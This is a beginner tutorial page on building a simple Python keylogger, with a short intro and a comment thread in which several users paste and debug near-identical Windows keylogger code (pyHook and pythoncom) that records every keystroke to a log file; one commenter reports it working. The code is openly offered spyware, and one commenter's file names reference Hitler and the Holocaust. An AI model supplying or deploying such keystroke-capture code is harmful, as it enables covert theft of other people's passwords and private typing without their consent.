How To Make A Simple Python Keylogger

davisde

Python is a really easy programming language for beginners. What better way to showcase it’s range of abilities than making a simple keylogger.

17 Comments

  1. ishan
    July 21, 2013 at 9:33 am

    not able to get log.txt … pls help

  2. HulkHogan
    HulkHogan
    September 10, 2013 at 8:44 pm

    In regards to keylogger,

    what about ps/2 keyboards on laptops

    the “ascii” section doesnt work?

    what would you change it to?

  3. Stephen
    September 11, 2013 at 1:08 am

    I put this code in running Python 3.2.3

    import pyHook, pythoncom, sys, logging

    file_log = ‘G:\\English 10\\Adolf Hiter.txt’

    def OnKeyboardEvent(event):
    logging.baicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.Hook.Keyboard()
    pythoncom.PumpMessages()

    I of course installed the correct pywin32 and pyhook. When i attempt to run the program, it gives me this error message:

    >>>
    Traceback (most recent call last):
    File “G:/Holocaust.pyw”, line 1, in
    import pyHook, pythoncom, sys, logging
    File “C:\Python32\lib\site-packages\pythoncom.py”, line 2, in
    import pywintypes
    ImportError: No module named pywintypes
    >>>

    any help?

    • Noah
      September 17, 2013 at 11:42 pm

      I am getting an error on the chr(event.Ascii) Here is my hole file

      import pyHook, pythoncom, sys, logging

      file_log = ‘C:\\Stuff\\log.txt’

      def OnKeyboardEvent (event) :
      logging.basicConfig (filename=file_log, level=logging.DEBUG, format=’% (message) %’
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True

      hooks_manager = pyHook.HookManager ()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard ()
      pythoncom.PumpMessages()

      When I hit F5 to test I get an error please help!

      • Noah
        September 17, 2013 at 11:44 pm

        Running 3.3.2

      • son
        November 18, 2013 at 8:19 pm

        missing the parentheses at the end of the line with format…

    • #NotAHacker
      #NotAHacker
      September 19, 2013 at 2:57 pm

      Just asking, but have you tried importing pywintypes?

    • Me;)
      October 28, 2013 at 11:53 pm

      Hey there Noah! I see a problem at you! let me show you my code and see if you can fix yours!

      import pyHook, pythoncom, sys, logging

      file_log = ‘C:\important\log.txt’

      def OnKeyboardEvent (event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True

      hooks_manager= pyHook.HookManager()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard()
      pythoncom.PumpMessages()

    • Eugene
      January 18, 2014 at 2:04 pm

      If you are running on a 32 bit system you must download a win32 for 32bit computers

    • imran
      January 25, 2014 at 6:02 am

      in line 4 : >>> u wrote baicConfig.. .>>change it to basicConfig

  4. Jake
    October 17, 2013 at 9:22 pm

    Im having an error as well. Heres my code:

    import pyHook, pythoncom, sys, logging

    file_log = ‘C:\\Important\\log.txt’

    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.Hook.Keyboard()
    pythoncom.PumpMessages()

    When I press F5, this message comes up:

    “invalid character in identifier”

    Please help…

  5. gigijaponezu
    gigijaponezu
    November 8, 2013 at 3:07 pm

    It worked for me pretty well. I have Windows 8.1, and I’m using an USB keyboard(my laptop keyboard is broken)

    import pyHook, pythoncom, sys, logging

    file_log = ‘C:\\important\\log.txt’

    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

  6. Kyle
    November 28, 2013 at 3:32 pm

    keep getting the error OnKeyboardEvent is not defined!!! PLEASEEE HELPPPPP

  7. Kyle
    November 28, 2013 at 5:52 pm

    Now I’m getting this error—–[Errno 2] No such file or directory: ‘C:\\important\\log.txt’

  8. agentleader1
    agentleader1
    December 29, 2013 at 1:34 am

    How do you do the whole thing in Python 3.3? When you do that, it’s like complety different. It doesn’t work. One reason: chr(event.Ascii) asks for a name thing. I’m really confused, somebody help me please!

  9. Antster
    November 6, 2016 at 2:19 pm

    HELp

Leave a Reply